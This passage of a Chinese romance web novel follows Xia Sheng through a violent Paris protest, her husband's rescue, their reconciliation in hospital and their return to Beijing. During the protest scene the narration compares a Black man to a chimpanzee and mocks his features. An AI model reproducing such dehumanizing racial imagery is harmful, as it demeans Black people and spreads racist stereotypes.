“何况你遇到的,还是个有能力有正事又肯为你花钱花心思的对象,真不错了。” 口袋里的手机震动起来,夏声拿出来看一眼,是周庭朔。 安真余光看着,歪过身来。 “看吧,还这么黏老婆,你还有什么不满呢?” 电话响了几声挂断,紧接着一条信息发过来。 【周庭朔:有点事耽误了,航班改成明天飞,你有事先忙,只是告诉你一声。】 夏声回完信息,转头拉起安真,准备去吃点东西。 “怎么听着你挺羡慕,这运气给你要不要?” 安真神采飞扬:“我就不要了,我榜样有句名言,我不嫁豪门,我自己就是豪门,我得向她学习。” 要做豪门的安真第二天开始就投身工作去。 夏声也收到了Mahel的消息,定在两天后签约意向合同。 争取了几个月的订单终于要尘埃落定,夏声高兴地跟国内的秦莫分享好消息,并让她准备好签约文件。 当天早上,她满怀期待地踏上去签约的路。 而没多久,周庭朔的航班落地,他第一时间联系夏声,却发现她的手机无法接通。 从机场出来的一路,他始终联系不上她。 直到网络连接后,跳出本地快讯。 “近期推行的养老金及税费改革引发巴黎民众不满,今日大规模示威人群聚集于共和国广场、巴黎市政厅等多地进行抗议游行,部分地区已演变为暴力冲突,政府将采取相关措施进行控制。” 周庭朔点开新闻,一个个看举行游行示威的地点。 夏声今天去签约,势必要途径其中两处…… 他握紧手机,让司机立刻掉头。 第67章 第67章遇险 巴黎街头的浪漫与平静一日之间烟消云散。 夏声在出租车上第二次被人流挡住时,司机将她请下车。 几条必经的主干道路皆被堵塞,就连公共交通都停摆,地铁公交的工作人员大概也都参与罢工游行去了,整个城市突然乱成了一锅粥。 但夏声还是要去签约,好在她打开手机导航,看现在的位置离Mahel的大厦已经不远。 将背包斜挎在肩上,夏声随着人群向前走。 只是她错误预估了游行示威的规模和力度,毕竟在国内从来没见过,以为只是简单的人员聚在一起,表达不满和抗议而已。 等她被人群挤着进了中心,才发现越往前人员越密集,几乎达到人贴人的地步,自己想要穿行过去,除非长了翅膀。 回头,入目皆是一张张陌生的人脸,夏声的瘦削身形在人群里甚至冒不出个头。 夏声被周围人身上廉价又浓郁的香水味熏得头疼,又被颠三倒四地推了几个来回,胃里翻江倒海的想吐。 她举起手机,给韩子弋打了个电话,得知对方也被堵在路上。 没办法只好给Mahel那边说一声自己大概没法按时赶过去。 好在特殊情况,对方也表示理解,让她注意安全,合同可以改日再签。 刚挂断电话,手机屏幕又亮起来,夏声看到周庭朔的名字,正想接就被身后的人群猛推了一把,手机从手里滑出去,掉在地上。 夏声眼看着通话未接通,自动挂断,接着又亮起。 其实手机就在她前方一臂远的距离,只是她要推开眼前的人群才能拿到。 她将包护到身前,刚弯下腰,人群就又蠕动起来,几双脚没长眼睛地在她手机上来回踩过,屏幕花了几道后,灭掉。 夏声:…… 好在她人没被挤倒,反而挤得离手机更近了,终于在手机被踩碎成零件前将它捡起来。 前方几排的人突然开始大喊起来,夏声一边凝神听他们说得什么,一边尝试拯救下碎掉的手机屏幕。 分神的后果就是,她没注意到人群开始越来越激愤,情绪激动下人们举牌呐喊,配合口号一遍遍地重复,跟不远处的警察对峙上。 手机屏幕虽然还能亮,但碎掉的部分触屏功能已经失灵,她叹口气只能继续自己找出路。 只是刚一抬头,旁边那位比她高近两个头的白人男子,突然振臂高呼,她躲闪不及,太阳穴被他落下的手肘撞个正着。 夏声只觉得脑袋“嗡”地一下,接着就眼前一黑。 她赶紧低下头紧紧捂着太阳穴,缓了两口气视线才恢复。 听着周围人交谈喊叫的内容,夏声知道情况不太妙了,她需要尽快离开这里。 此刻,她被人群裹挟在中间,众人皆是向前方使力,只有她是往路旁一个劲地挪。 等她终于摸到黑色的路灯柱子时,人群前排冒起了浓烟。 夏声个子在欧洲人里只能算中下,根本看不到前方发生了什么。 但很快她 身边也有人开始动作,一个卷毛白人青年从他的书包里掏出一只玻璃瓶,瓶子里有不明液体,瓶口塞着碎布。 他迅速摸出打火机,点燃投出一气呵成。 **摔在前方的警察队伍里,换来对面更为严厉地警告和咒骂声。 夏声不知道这一切会不会演变成武。装。冲。突,心里忐忑不安起来。 半罢工的手机居然这时候又响起来,她用力按了几次接通键,碎成蛛网状的屏幕居然好了一瞬,电话接通的瞬间,对面周庭朔急迫的声音传来。 “声声,你在哪,还好吗?” 夏声挂在路边的路灯杆上,依然在人群中,她抬头看眼路牌,告诉他自己的位置。 “你等我,我马上来。” 对方话音刚落,前方骤然一声枪响。 电话两端的人皆是一愣,夏声恐慌地回头看一眼,发现周围喧嚣的人群也都安静下来。 但也只有一秒,下一秒便是群情激愤的更大反扑。 甚至没等前方警察的喊话结束。 这一枪似乎击碎了人群的理智,夏声眼看众人昂着头举着标语,激撒愤怒向前冲。 哗然一片中,她根本听不到电话那头的声音,只好匆匆说一句“别来,太危险“,然后挂断。 这会儿如果她被挤到前方,指不定会稀里糊涂吃枪子儿,夏声死死抱着救命稻草,肩膀被左右疾行的人撞得生疼。 一会儿的功夫,她头发也散了,包袋也被刮断了,挎着灯杆的胳膊又酸又痛。 第二声枪响时,她刚找好退出人群的路线。 在她视线内十米左右,有一排围起来的窄长花圃,虽然踩着绿化跑出去不道德,但好过自己在这被人挤成肉饼。 然而没给她实施的机会,因为第二声枪响,口头抗议彻底升级为武。装。冲。突。 整个共和广场变成了群斗现场。 持刀持械的人不再掩藏,掏出武器冲上前去,人们缠斗成大大小小的聚群,反倒让空间疏散开一些。 背后枪声又响,夏声捂着耳朵,夹着背包向反方向跑。 后方聚集未散的人群至少还有几十米,但好歹有她活动的空间,夏声只顾向路口跑,根本来不及顾及别的。 比如扔到她身上的可乐瓶子,绊到她脚的自制板幅,以及撞倒她的彪形大汉。 夏声跌到地上时,手下意识撑了下,手腕被挫得刺痛,紧接着就不能动了。 她抱着小臂,疼得用中文骂了句:“瞎了眼,撞死我了!” 骂完那刻她就后悔了,撞她的是个黑人,又高又壮像个黑猩猩一样,虽然听不懂她说什么,但看她表情语气,大概也知道是骂人。 他整个身影压在她头顶,瞪着一双比皮肤更黑的眼珠看她。 夏声心重重跳着,手腕也跟着心跳一下下闷痛,就在黑人抬手冲她来时,她听到一声短促而熟悉的喊声。 “声声!” 混乱画面的中心,只有一个身影逐渐清晰。 夏声看着不知从哪冲出来的周庭朔,身型凛凛挡在她身前,竟是眼眶一热。 黑人明显比他还要壮,却被他拽住胳膊甩到一边。 他冷着眸子,用近乎狠厉的口吻说了句法语。 呵斥的、不体面的,一句地地道道的咒骂。 黑人听到立刻用手蹭了下肥大的鼻头,捏着拳头猛冲上来,夏声紧张地抓住周庭朔的衣摆,好在跟着他一起出现的两人及时将黑人压着肩膀拉远。 周庭朔立刻转身半蹲在她面前,冷静的表情碎得干净,满眼都是害怕与担忧。 “你还好吗,哪里伤了,严不严重?” 见夏声抿唇摇头,才一把将她搂进怀里。 “你吓死我了。” 圈在她身后的手臂越收越紧,仿佛要将人揉进身体里,夏声被压到的手腕吃痛,低低叫了声。 “疼。” 周庭朔一出现,她的安全感便瞬间归位,哪怕此刻周遭还是乱成一团。 身后他带来的两人已经将那黑人“处理”好,这会儿站在他们旁边,挡着人流。 夏声捧着手腕,也不知从哪生出一股娇气劲,只觉得身上被撞过的每一处都疼得要命。 “好疼。” 鼻头一酸,她差点没出息地哭出来。 见状,周庭朔一言不发地将她横抱起来,在另外两人的保护下逆着人流缓慢走出去。 他的纯色大衣贴在她脸颊上有些凉,夏声小声说了句:“不是告诉你这里危险,不要来了吗,你怎么还来了?” 抱在她身后的手紧了紧:“你还知道危险,为了签个合同命都不要了。” 满满不认可的口吻,表情却是不忍责备的。 转过路口,路边停着一辆车,随行人员打开车门,送他们上车。 后座,周庭朔小心的扶着她的胳膊,轻轻捏了下她的手腕。 “还好吗?” 手腕处已经慢慢肿起来,原本清晰的腕骨都看不到形状了,夏声咬着下唇“嘶”了一声。 他动作一顿,又将手指移到她手肘处,问:“这里呢?” “疼。” 再往上,肩膀、脊背、甚至脖子脑袋,只要他问,夏声就答疼。 周庭朔的眉越皱越深,夏声垂着眉眼,心底却冒起类似欢快的气泡,簌簌升起来,再砰砰砰地绽开。 “一会做个全面的检查,实在不行我们就回国治疗。” 车子很快停在一家私立医院门口,夏声眼看演过了,被他扶着下车时又找补起来。 “不用,可能就是扭伤,没那么严重。” 公司合同还没签呢,怎么可能现在回国。 巴黎的私立医院人也不少,夏声等了一会才看上医生。 她乖乖配合检查,刚回病房休息,门口一阵风似的冲进来一个人影。 站在床边倒水的周庭朔被撞了一下,稳住身形蹙眉看过去。 风风火火赶来的安真扑到夏声床边,上来就要握她的手,被他一把拦住。 “她手腕有伤。” “真伤了?”安真的手停在半空,眼神小心翼翼看着夏声,“你还好吧,疼不疼?” 夏声手腕一会需要做固定处理,这会刚上了点药。 她像小狗抬爪一样,无力的抬起受伤的手腕,瘪瘪嘴。 “疼啊,都骨裂了。” “啊?”安真眼里流露出担忧,双手握住病床旁的栏杆,又上下扫视遍她全身,“还有哪有伤,我听说大街上都动刀动枪了,太危险了。” 周庭朔又倒了杯水,一起放在床头柜子上。 “你们先聊,我去找下医生。” 等人一走,夏声才表情一松笑起来,用那只没受伤的手拉着安真坐在床边。 “别担心,我好着呢,就手扭了一下,问题不大。” 情绪转变太快,安真信息接收有点混乱。 “你刚刚不……”她指了指夏声的手,“又疼又怎么的。” 夏声露出狡黠地笑容,冲她眨眨眼。 第68章 第68章又不是不正当关系…… 安真瞬间意会。 “好啊,你这也是演上了,干嘛还苦肉计啊,你家听说哥够心疼你了。” 见她还有心思“装”,安真才放下心,将背包外套脱下来,扔到旁边的椅子上。 夏声这是间单人留诊病房,只有一张病床,两张椅子,不算大。 安真回头看眼病房外没人,才压低声音凑上去:“你不知道早上联系不上你之后,他疯了似的到处找人。” “给我打电话的时候,我刚到酒店门口,一听他急得声音都变了,吓得我差点拖着行李箱就跟着找你去。” 原本安真是今天飞回国,结果倒霉遇上机场罢工,航班都取消了。 她收到消息时正拉着行李箱准备回酒店,就接到周庭朔的电话。 对方那心焦万分,甚至乱了方寸的劲儿,把她都给吓懵了。 “你信不信,你真要出点事,你家听说哥能把巴黎掀了。” “哪有你说得那么夸张。” 话 虽这么说,但夏声还是垂下眼睫,掩藏眼里隐约的情绪。 她撑起身,安真帮忙在她腰后垫了两个软枕,便见她拿出手机联系秦莫。 等她挂断,安真又把水递给她:“以前怎么没发现你是工作狂呢,都这时候了还惦记那什么合同签约,简直跟听说哥绝配。” “你俩不会躺被窝里都在聊工作吧。” 夏声头疼地赶紧让她闭嘴:“别贫了。” 为防止这个话题继续,她赶紧又问:“你航班取消了后面国内的行程怎么办,改签了吗?” 安真耸耸肩,撸起袖子帮她整理被角,又帮她把散下来的头发扎好。 “你都这样了,我着什么急回去。” 况且她国内也没什么太重要的工作,几个不大不小的群上通告,少她一个也不会怎么样。 “我留这照顾你,你家听说哥那么忙,总不能让你这样自力更生吧?” 周庭朔刚好带着医生进来,安真赶紧让开位置给医生看诊,就看到周庭朔将手上的手机递给她。 “接一下,不然他打个没完,我工作电话进不来。” 屏幕上祁家骏的名字旁,通话时长仍在增长,安真脸色微变,接过手机出门。 这边医生正在准备给夏声的手腕做固定,她偏过头看向门口,又抬眼询问周庭朔是怎么回事。 他解释:“她大概又把祁家骏拉黑了。” 周庭朔垂眸看她,在这一点,夏声就比安真成熟得多,至少不会一有不愉快就拉黑他,哪怕她这次出国,他打来电话也仍会接。 医生正在用夹板帮她固定手臂,大概动作有些重,她咬着唇手肘缩了下。 下一秒就被医生严厉制止,让她不许再动。 周庭朔上前一步,帮她托着手臂,轻声安慰:“忍一下,很快就好。” 没多久,医生处理完,又告诉他们之后修养的注意事项就离开了,等安真回来时病房只剩他们两人。 她将手机还给周庭朔,眼神戒备地看着他。 “你没告诉他我在这吧?” 见他没否认,安真有些烦躁地抓了抓头发。 夏声欠身,问她怎么了,她也不回答。 周庭朔拉过椅子在病床旁边坐下:“声声一会开完药也就出院了,你有事就走吧,我会照顾她,你不用顾虑。” 纠结的安真插着腰看着他:“你?三天两头国内外的飞,怎么照顾她?” “这次我会等她跟我一起回国。” 犹豫再三的安真最后被夏声劝走。 等人出门,夏声才问周庭朔:“你真告诉祁家骏她在这了,他难道也来巴黎了?” 他淡笑:“没,她只不过躲人心切,想多了。” 那他刚刚还不澄清,明摆着故意让人误会,这人连支人走都这么不动声色的。 夏声靠坐在软枕上,突然有句话挤到嘴边,不问不快。 “周庭朔,今天你为什么来找我?” “我不都跟你说了危险,别来。” 他起身,侧坐在床边,视线扫过她额角,俯身抬手轻轻碰了下。 “这里是怎么弄的。” 夏声被问得一愣,回想一会才记起是被人用手肘撞的。 “人群里不小心碰到了,不过那一下真是疼得我两眼一黑。” 太阳穴是很脆弱的地方,若是不凑巧,撞上一下也会出人命,周庭朔看着那块泛青的皮肤,呼吸变重。 “你既然知道危险,还问我为什么去,在电话里听到枪响那刻,我真恨没早一天飞来。” 夏声对上他的视线:“为什么?” “明明是你说过,遇到这种情况自然有专业人士去解决,不必以身涉险去做徒劳的努力。” 那个深夜,顶着大雨执拗地在车祸现场一辆辆车找过去的夏声,在听到这句话时,心冷如冰。 所以今天,她要拿这句话好好问问他。 夏声偷偷攥着被单,她并不确定周庭朔会怎么回答,会不会还是权衡利弊的答案。 而她的逼问在周庭朔看来,就像一本已经撕开塑封的书,只需翻上两页就很清楚她的意图。 他似乎有些明白,为何之前夏声要跟他分开。 “因为那时候的我自作聪明,以为人在任何时候都可以保持清醒和理智。” “事实证明我错了,在那种情况下,冷静和理智早已荡然无存,一切决定只会遵循心意和本能。” “所以我顾不得其他,只想快点找到你,确认你安全。” “为此,我愿意做任何事。” “因为我不敢想象,如果你真出了事,我该怎么办。” 一瞬间,温热的血流从夏声收紧的心脏奔流到四肢百骸。 她轻轻吐出一口气,感觉身上丝丝缕缕的痛也都不见了。 再抬眼,她突然笑弯了眼睛,直接上前勾着他的脖子,轻吻了一下他的唇。 原来这段感情,远不是她所想的那样,是她一厢情愿,单行无果。 她喜欢的人,也同等的喜欢着她。 周庭朔感觉到唇上的柔软只不过半秒,等他反应过来时,夏声已退回去,脸颊微微泛红地看着他。 他滚了滚喉咙,单手撑着床,拉过她接上了这个短得恼人的吻。 像是怎么也偿不够,他衔着她的唇,勾着她的舌,要不是中间隔着她打了夹板的手,只怕他要将人死死按进怀里。 夏声被他追着吻,整个人已完全靠在软枕上,退无可退,于是用那只还未负伤的手去推他的胸口。 “你……”她推不动,含混地冒出几个字,一大半都被他吞了下去,“医院……” 等他终于撤开,夏声才深深喘几口气,随后恼怒地瞪他。 “你不怕人看见,这是公共场合。” 周庭朔擦下她唇边的湿润,面色不改。 “怕什么,我们是合法夫妻,又不是不正当关系。” 好像说得也是,夏声垂眼,这才发现手心下他的心跳好像格外重。 她手指勾了勾,探进他西服斜领下,紧贴着衬衫按下去。 “那你心跳这么厉害干嘛?” 当然是因为她吻他。 她第一次主动吻他。 这是不是代表,凡前种种她都愿意揭过,她在重新接纳他。 周庭朔握住她的手,抬到唇边吻了吻。 “声声,我们什么时候回国?” 夏声眼神从他的唇转到他的眼:“你要回就回吧,我还不确定,签约完后续还有些补充文件需要敲定……” “那些回国也能做。” 她张了张嘴:“那倒是,但是为什么急着让我回国?” 护士推门进来,将开好的药品清单送来,周庭朔没再回她的问题,转身出去拿药。 夏声:……干嘛话说一半。 下午出院后,周庭朔倒没再提过回国的话题,之后的大部分时间也都在家陪着她。 安真每天都来看她,还怕她总呆在家里闷,只要周庭朔不在,就带她出门散心。 并且每次都把她照顾得妥妥贴贴,打车问路提包全都由安真一手包办,甚至连瓶水都不让夏声拿。 就算她要去洗手间,安真都要亦步亦趋地陪着,生怕她不方便时,旁边没人帮忙。 夏声感叹,只不过伤了一只手,都要被她宠成胚胎了。 她要回国的前一天,还特意拉着夏声去了香榭丽舍大街,那里修剪整齐的法国梧桐很适合拍照。 工作日的下午,街道上的行人似乎都比她们忙,安真倒是不管,常年社牛的她直接拉来路人,给她跟夏声拍合照,甚至还跟帮忙拍照的小姐姐也合影了两张。 入夜,两人又去看了歌剧《驯悍记》,安真凭着她中学生水平的英语,也看得津津有味。 散场后仍然滔滔不绝地跟夏声讨论着男人女人谁驯服谁的问题。 夏声上学时看过原著,当时的她只觉得荒诞和讽刺,但今天再看倒有些不一样的体会。 “现在像剧里那样压抑不对等的关系很少了。” “不过驯服的确还存在。”秋后的夜风有些凉,她挽着安真的手揣进口袋,“是感情上的驯服。” 安真露出神秘的笑,靠近她小声说:“所以你在听说哥面前‘装’,是为了驯服?” 她哈哈大笑一阵,对夏声表示佩服:“不愧是尖子生,什么都能学以致用。” 当晚,身为闺蜜的她决定再给夏声的驯服添点猛料。 她将这几天两人的种种合照,找出几张侧身和背影的,发到自己的社 交账号上去。 夏声本要阻止,被她劝下:“你放心,这几张主打一个氛围感,没有一张你露脸的。” “问题是,你的账号发我做什么?” 安真坐在她家起居室的长桌前,看周庭朔从楼上下来,似乎是一直在等她们回来,便故意抬高点声量。 “这两天圈里盛行营销明星接地气,好多人都发跟素人发小闺蜜的日常,我就你一个闺蜜,不发你发谁。” 她理由充分的话并没引起夏声的怀疑,于是第二天恋恋不舍将人送去机场的夏声还不知道,对方那照片到底带来了什么影响。 第69章 第69章吃飞醋 与Mahel的签约又重新订了时间,当天周庭朔亲自开车送她。 签约过程很顺利,项目经理Camille本想邀请她共进午餐,但夏声想起楼下还在等着的人,只好婉拒。 对方热情地送她到一楼,刚出门口,就看到等在路边的周庭朔。 正午的光洒在流畅的车身上,车窗降下,露出他轮廓英俊的侧脸。 Camille意会地看了一眼:“Cesttonpetitami?”(他是你男朋友?) 夏声笑笑:“Cestmonmari.”(他是我丈夫。) 周庭朔手肘撑在车窗旁,低头看着手机,仿佛并没注意到她已经出来。 今天夏声心情格外好,放轻脚步本想走过去吓他一下,没想到刚一靠近他视线便转过来。 “看来签约很顺利。” “当然。”她扬扬眉,绕到副驾,“在看什么那么认真?” 他将手机收起来,发动车子:“没什么。” 夏声也没追问,戴好安全带,语气轻快。 “今天在外面吃吧,我请客。” 路上,夏声哼着歌在手机上挑选餐厅,周庭朔却安静得过分。 等她选好地方,才察觉出车内略低的气压。 “你怎么了,出什么事了吗?” 他目视前方,半晌才吐出一句:“薛女士身体不太舒服,刚去了医院。” 夏声立刻转过头来:“严重吗?” 周庭朔没说严不严重,只是表情严肃,一路沉默地带她去吃饭。 她心里惦记,点完单等餐的间隙,看眼时间国内刚入夜,想了想还是打过去电话,决定问候一下。 电话一接通,她便急着问情况:“妈,我听庭朔说您身体不舒服,还去医院了,您还好吗?” 薛宁玉被她一声“妈”叫得身心舒畅,要知道上一次她主动来联系,还是说要跟周庭朔分开,这会儿这态度,想来人是已经哄得差不多了。 只不过此刻又被她连珠炮似的问题弄得一头雾水。 反应了好几秒,薛宁玉才应声。 “还好,就是做个检查,你别担心……” 她尽量将语气压低,显得自己确实身体抱恙。 原本她是去了医院,但只是日常检查,并不是什么不舒服,但夏声既然这样问,肯定是周庭朔说了什么。 作为很有觉悟的母亲,薛宁玉自然不会拆他台,她那儿子每句话都有他的目的,绝没有白说的。 果然,挂断电话的夏声饭也没心情吃了,脸上的表情跟对面的周庭朔如出一辙。 两人各怀心事吃完饭,回去的路上,夏声考虑良久终于做了决定。 “要不你先回国吧,妈那里我始终不太放心……” 前几天刚下过一场雨,萧瑟的风带着湿润泥土气息从半降的车窗挤进来,周庭朔抬手升上窗,车内安静下来。 “你手还没好,我不能留你自己在这。” 夏声低头看眼搭在腿上的右手,前两天因为实在行动不便,已经将夹板去掉。 医生千万叮嘱,一个月内这只手都不能用力,所以最近她都只能用左手。 甚至刚刚的签约文件上,都留下了有史以来她最丑的一个签名。 “我没事的,只是右手不能用力而已,生活还是能自理的。” 车子停在路口,发动机保持着低频振动,周庭朔转过头来看着她。 “我承诺过会照顾你,这次要等你一起回国,总不能言而无信,何况是在你最好的朋友面前。” “这是特殊情况……” 但他似乎不准备改变主意。 夏声抿唇,拿出手机点开周仪娇的头像。 【夏声:你问过了没,妈怎么样?】 【周仪娇:唉,她也不肯明说,就说身体没力气,不舒服,等回头我看看能不能拿到她检查报告吧。】 夏声想起夏国礼最开始察觉到身体有异样时,就是身体无力,头脑昏沉,拖了很久才去查,病情就已经严重了。 长辈总是这样,从不相信自己会生病,头疼脑热也不当回事,往往就延误了病情。 她看着手机上的信息,等到车子停在家门口,才开口。 “我跟你一起回去。” 踏上门前台阶的人动作未停,将门打开侧身等她进去。 “你这边不是还有工作没完。” 夏声走上前:“剩下的工作回国也能做,妈那里不能耽误,我们还是尽早回去陪她去查清楚。” 周庭朔眼睫垂着,看向她的目光里有什么在隐隐松动。 随后他点点头:“好。” 下午,苏晋来造访,大概周庭朔回去前还要交代一下这边的工作,他抱着一沓文件送进书房。 夏声也要安排下之后的事,先是跟Camille说明情况,定下之后的补充文件就采用线上电子签的方式,又跟秦莫说了声,自己过两天就回公司。 临近傍晚,才看到苏晋从书房出来。 距离上次见他并没有多久,夏声却明显看出他有些消沉。 周庭朔在楼上换衣服,一会要去分公司一趟,苏晋在门口等着,察觉到夏声的目光。 “这边的工作还顺利?”夏声问。 苏晋礼貌回应:“嗯,还算不辜负周总嘱托。” 电脑屏幕上,是夏声刚刚点开的姐妹群聊天界面,安真正在逗周仪娇。 【安真:你之前跟那沈公子见面聊得挺好啊,竟然还约了第二次。】 【周仪娇:就那样吧,反正不喜欢不讨厌,他来约就见呗。】 【安真:好态度,我喜欢,咱就得潇洒点,把那什么不识趣的阿猫阿狗都忘了!】 夏声视线从屏幕上抬起:“你们周总没说过你什么时候期满回国?” 恰好周庭朔从楼上下来,边整理袖口边看她。 随后替苏晋回答:“三年缩短成一年,现在只剩几个月。” 门口的苏晋见他脚步转了弯,走到长桌那边去,知道他有话要跟夏声说,便知趣推门到外面等候。 周庭朔站到夏声旁边,眼神淡淡盯着她。 “你对苏晋的行踪很感兴趣?” “没有啊。”夏声正一只手打字,回复群里消息,顾不及看他。 “那你总是问他什么时候回国?” 键盘的噼啪声暂停,夏声转过电脑屏幕给他看。 “你猜我为什么问。”她略带无奈地叹气,“怎么有人吃飞醋吃到自己妹夫身上。” 他快速看了眼聊天记录,淡定收回视线。 “首先,他不是我妹夫,娇娇的婚事未必由得她做主。” “其次……” 夏声看着突然停住话音的周庭朔,歪头追问:“其次什么?” “没有其次。” 他俯身在她上扬的嘴角上落上一吻,心照不宣地承认 自己确实是在吃飞醋。 虽然没什么道理,但不可否认。 两人安排好这边的事,第二天就订了机票飞回国。 再次落地,听着满耳熟悉的母语,一股落定感让夏声长舒一口气。 京市的初冬,干冷像带着锋利刀刃般干脆直接,她裹紧毛衣外套,坐进车里。 司机将空调温度调高,周庭朔握了握她已经冰凉的指尖。 “回去洗个热水澡,先睡一会。” 难得他这次没有直接回公司,而是陪她先回家,夏声摸摸冻红的耳垂,看着清晨初升的暖黄日光,打了个哈欠。 “算了,一会还是先去西苑看看吧。” 碧水华汀的门口,夏声没等输密码,徐姐就从里面打开了门。 许久未见,徐姐脸上竟带了些拘谨。 “太太回来了,快,快进来。” 她将人迎进去,笑容就没落下来,像是积攒了很多话,一时不知该说哪句,只一味看着夏声点头。 福宝听到动静,从猫爬架上跳下来,懒洋洋地几步走过来,看到夏声一时还没什么反应。 她眉头一皱,蹲下抓住它一只爪子,将咪抬起来。 “你不会把我忘了吧!” 在她不在的日子里,福宝日子显然不错,夏声撑着它都感觉到沉。 只可惜她现在右手不能用力,没法抱它。 “臭咪咪,妈妈才离开几天,你就不认识我了,真是令人心寒。” 在一旁脱外套的周庭朔顺口接上:“八十九天。” 连夏声自己都不记得具体天数,惊讶地回头看他。 他神色自若:“它不是忘记你,只是生气委屈,它以为你不要它了。” “啊?”夏声低头看眼福宝,发现小咪确实没有像见陌生人一样紧张挣扎。 只不过表现得过于冷淡,爱搭不理。 好像有点道理。 “你什么时候进修动物学了?” 周庭朔从她手里解救出福宝,帮她把外套脱掉。 他并不是进修了动物学,只是将自己的心情代入一下,同理可得。 不过,他做不到福宝这般高冷矜持,只会头脑一热地追过去。 想到这,看夏声一脸愧疚地看着福宝,他眸色沉了沉。 随后一反常态,主动拿出柜子里福宝的零食筐,将它从夏声眼前骗走。 徐姐已经将准备好的饭菜端上来,夏声最爱的小笼包,肠粉竟然都有。 她感动得胃口大开,非常卖力地吃干净,然后去洗个澡就出发去西苑。 临到门口,周庭朔提醒她:“看看薛女士的状态再说,先别急着追问她情况。” “好,我明白。” 两人一同出现,周家人掩饰不住地高兴,周启岩急着出门,还是跟夏声说了两句话才走。 薛宁玉隔了一会才由保姆扶着下楼。 平日容光焕发的人,今天的脸色难免有些苍白,一举一动都透露着虚弱,看起来确实像生了病。 夏声跟周庭朔对视一眼,赶紧走上前。 “声声,你回来了。”略显虚浮的声音,末尾还咳了两声。 “嗯,今早刚回来,就来看您了,您身体还好吧?” 薛宁玉拉着她落座,笑着拍拍她的手:“没事,挺好的。” 宽慰的话夏声肯定不信,但她还是控制住没有多问。 两人又说起周仪娇:“娇娇去公司了,难得她最近上心,说今天有个项目要盘点,她主讲呢。” 夏声点点头,又陪她聊了一会,中途见到周庭昀,她起身跟他说了两句话,又问问周灵熙最近怎么样。 趁这功夫,薛宁玉冲周庭朔使了使眼色。 偏厅里,她压低声音问:“怎么样,还挺像那回事吧?” “有点过了。” 不满儿子不买账,薛宁玉睨他一眼:“你准备那事,什么时候跟她说?” “你不说我可说了。” 第70章 第70章过度反应 西苑到下午逐渐热闹,周仪娇提前下班回来,周灵熙也放学了,一个两个围着夏声说话。 周庭朔下午有事先回公司,夏声想多陪陪薛宁玉,就留下来了。 客厅里,周灵熙紧挨着夏声坐,一件件讲学校里发生的事,周仪娇翘着腿坐在一边,手指不停在回信息。 赶在小姑娘上楼的功夫,沙发只有她们两人,夏声开口。 “我听说,下个月你跟沈家就准备订婚了?” 周仪娇应付完工作群里的消息,将手机放到一边。 弯腰从茶几上插起一块蜜瓜吃:“大概吧。” 无所谓的态度,一点不上心,夏声往她那边挪近些,压低声音。 “这次真想好断了?苏晋还有几个月就能回国。” 周仪娇抽出几张纸巾擦擦手,点开手机给夏声看。 “真断了。” “你看,我把他都拉黑删除了,就像安真姐说的,不给自己留念想,省得来来回回做小丑。” 夏声揉揉眉心,感叹她学什么不好,就学会安真这一套,这下苏晋只怕都没处知道她要订婚的消息。 不过周仪娇确实在这段感情里受太多委屈,夏声只是觉得她再坚持一下,也许就有转机。 但她也没劝:“那沈家公子人怎么样?” “你放心吧,薛女士严选,至少不会是个坏人。” 想到第二天刚好是周末,周仪娇在群里敲了安真,约好明天她们三个一起逛街吃饭。 夏声本准备去公司的,被她给坚决制止。 “好人都双休,你一条胳膊动不了就别去加班了,明天好好跟我聊聊巴黎好不好玩。” “我最近被工作压榨的,都快心理变态了。” * 晚上周庭朔依旧回西苑,跟夏声一起在那吃过饭才回家。 昨晚在飞机上也只睡了个把小时,夏声强忍了一天,本想回到碧水华汀洗漱完就睡,结果时差作祟,等收拾完人反而又不困了。 她去热了牛奶,端着杯子回房间时,突然想起生日那天周仪娇跟她视频的事。 脚步很自然地走到客卧门前,抬手推开的瞬间,她的眼睛慢慢睁大。 亲眼看到一比一复刻的现场果然感受更不一样,夏声走进去先是被淡黄色窗帘旁那一堆娃娃吸引目光。 在锦城的家里,她只有一只泰迪熊玩偶,大概小臂高,里面的填充棉花因为年头太久,都有些扁了。 那是小学五年级考了年级第一时,夏国理给她买的。 夏声坐到等比扩大的玩偶熊面前,向前扑过去,整个人都埋进它软乎乎的肚子里。 她不慌不忙将所有玩偶一一看过,选了几只放到床上。 又走到书桌前,看着全新款的主机电脑摇摇头。 “我那时候哪有电脑,高中时候想要查点资料,都要去外面打印店、网吧。” …… 周庭朔推开门,发现夏声正坐在书桌前的椅子上看书,脚踩在椅子边缘,莹白匀称的腿蜷在胸前,下巴搁在膝盖上,显得十分放松惬意。 她面前摊开的是那本仍未看完的漫画,周庭朔走近,闻到她身上淡淡的甜橙香,好像是她桌上放着的护手霜的味道。 “这些书也是你从锦城运过来的?”夏声没抬眼,随口问他。 他靠在桌沿,将她从肩膀后滑下来的头发拢回去。 “不是,大部分东西都按照家里的买了新的,只让爷爷收拾了些方便带还买不到的东西寄来。” 比如她的奖状,还有些零碎的小手工。 夏声抬头:“谢谢你。” “还有呢?” 书页刷啦啦合上,夏声想了想:“还有什么?” “哦,对。”她将漫画书拿起来,指了指,“正好看到关键剧情,勾得我心痒,今晚我就睡这里了,一会要把它看完。” 周庭朔不置可否,并未表示异议。 于是她理所当然地侧身看向门口:“那你早点回去睡?” 对方视线转向一边陈列的“三好学生”奖状,语气略有不虞。 “上学时老师教你们感谢只需要动动嘴吗?” 未等夏声反驳,周庭朔已弯腰下来,两手托着她的腰和腿,轻松地将她从椅子上“搬”到床上。 夏声落进柔软的丝绒被里,还不忘握着自己的漫画书。 “等等,你上来干嘛,你去隔壁睡啊,我这个床小。” “不小,跟你原来的床一个尺寸。” 看着他熟练地掀开被子躺进来,夏声一脸无语。 她只是太喜欢这个房间,想自己呆在 这,回溯一下学生时代得闲看漫画的美好感觉,这人怎么不识趣。 周庭朔调整好睡姿,抬眼看还坐在一旁的夏声。 “在锦城都能睡,在这一样睡,我那几晚都睡得很好。” 等到灯光熄灭,透过窗帘隐隐的微光,夏声摸了摸枕头边的漫画书,还不死心。 “说好我今晚要看书的,你来又打乱我计划,隔壁有那么大床你不去睡,非要挤我。” 横在她身前的手臂紧了紧,她的背紧贴在身后温热的胸膛上,无一丝缝隙。 耳边周庭朔的声音有些沉,显然已经生出睡意。 “你要在这睡的。”他调整下在夏声颈下的胳膊,“你知道的,没你我睡不好。” “公司接下来有两个重要项目要启动,我要尽快调整好时差,投入工作。” 话已至此,夏声虽然有点不满,还是闭上了嘴。 她知道周庭朔不会对她做什么,自从她手伤了,他一直都很安分。 